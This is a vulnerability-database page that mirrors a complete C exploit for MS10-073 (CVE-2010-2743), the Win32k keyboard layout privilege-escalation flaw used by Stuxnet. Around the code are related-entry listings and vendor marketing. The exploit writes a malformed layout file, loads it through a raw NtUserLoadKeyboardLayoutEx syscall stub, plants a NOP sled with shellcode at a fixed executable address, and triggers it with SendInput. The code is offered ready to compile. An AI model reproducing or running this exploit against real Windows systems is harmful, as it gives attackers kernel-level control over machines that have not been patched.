Lucene search
K

MS10-073: Win32k Keyboard Layout Vulnerability

🗓️ 14 Jan 2011 00:00:00Reported by Ruben SantamartaType 
zdt
 zdt
🔗 0day.today👁 27 Views

Vulnerability in Win32k Keyboard Layout identified as MS10-073. Shellcode present with fake DLL in the code

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2743
13 Jan 201100:00
circl
CVE
CVE-2010-2743
20 Jan 201120:00
cve
Cvelist
CVE-2010-2743
20 Jan 201120:00
cvelist
Exploit DB
Microsoft Win32k - Keyboard Layout (MS10-073)
13 Jan 201100:00
exploitdb
EUVD
EUVD-2010-2747
7 Oct 202500:30
euvd
exploitpack
Microsoft Win32k - Keyboard Layout (MS10-073)
13 Jan 201100:00
exploitpack
Metasploit
Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
18 Jan 201100:33
metasploit
canvas
Immunity Canvas: MS_TASKSCHEDULER
20 Jan 201121:00
canvas
NVD
CVE-2010-2743
20 Jan 201121:00
nvd
OpenVAS
Windows Kernel-Mode Drivers Privilege Elevation Vulnerabilities (981957)
13 Oct 201000:00
openvas
Rows per page
// My koala is staring at you  CºgºD
// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
 
 
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
 
 
#define MAGIC_OFFSET 0x6261
 
#define InitializeUnicodeStr(p,s) {     \
     (p)->Length= wcslen(s)*2;           \
     (p)->MaximumLength = wcslen(s)*2+2; \
     (p)->Buffer = s;                \
     }
 
 
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
   IN HANDLE Handle,
   IN DWORD offTable,
   IN PUNICODE_STRING puszKeyboardName,
   IN HKL hKL,
   IN PUNICODE_STRING puszKLID,
   IN DWORD dwKLID,
   IN UINT Flags
)
{
    __asm
    {
        mov eax, 000011c6h
        mov edx, 7ffe0300h
        call dword ptr [edx]
        retn 1Ch
    }
}
 
 
unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";
 
unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
                        "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00";
 
int main(int argc, CHAR* argv[])
{
     
    UNICODE_STRING  uStr;
 
    KEYBDINPUT      kb={0};
    INPUT           vInput={0};
     
    HANDLE          hFile;
    DWORD           dwFuckS0ny;
     
    HKL             hKbd;
     
    WCHAR           lpPath[MAX_PATH]={0};
    WCHAR           lpLayoutFile[MAX_PATH]={0};
 
    LPVOID          lpShellPtr;
 
 
 
    printf("\n\nStuxnet MS10-073/CVE-2010-2743 Exploit\n");
    printf("Ruben Santamarta - www.reversemode.com\n\n");
     
     
 
    LoadLibraryA("user32.dll");
 
    InitializeUnicodeStr(&uStr,L"pwn3d.dll");
 
    GetTempPathW( MAX_PATH, lpPath );
 
    wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);
 
 
    hFile = CreateFileW(lpLayoutFile,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        0,
                        CREATE_ALWAYS,
                        0,0);
 
    if( hFile == INVALID_HANDLE_VALUE )
    {
        printf(" \n[!!] Error\n");
        exit(0);
    }
 
    WriteFile(  hFile,
                fakeDll,
                sizeof(fakeDll)-1,
                &dwFuckS0ny,
                NULL);
 
    printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
    CloseHandle(hFile);
 
    hFile = CreateFileW (lpLayoutFile,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            0,
                            OPEN_EXISTING,
                            0,0);
 
    if( hFile == INVALID_HANDLE_VALUE )
    {
        printf(" \n[!!] Error\n");
        exit(0);
    }
     
    hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
     
 
    printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );
 
    lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,
                                0xF000,
                                MEM_COMMIT|MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);
 
    printf("\n[+] Allocating memory...");
 
    if( !lpShellPtr )
    {
 
        printf("[!!] Error %x\n",GetLastError());
        exit(0);
 
    }else{
 
        printf("[ OK ]\n");
 
    }
     
    memset( lpShellPtr, 0x90, 0xF000);
 
    memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
            ( const void* )shellcode,
            sizeof( shellcode ) - 1 );
 
    kb.wVk = 0x0;
    vInput.type  = INPUT_KEYBOARD;
    vInput.ki  = kb;
 
    printf("\n[+] Triggering shellcode...");
    SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );
 
    printf("\n[+] Done\n");
 
    return 0;
}



#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2011 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.14849
27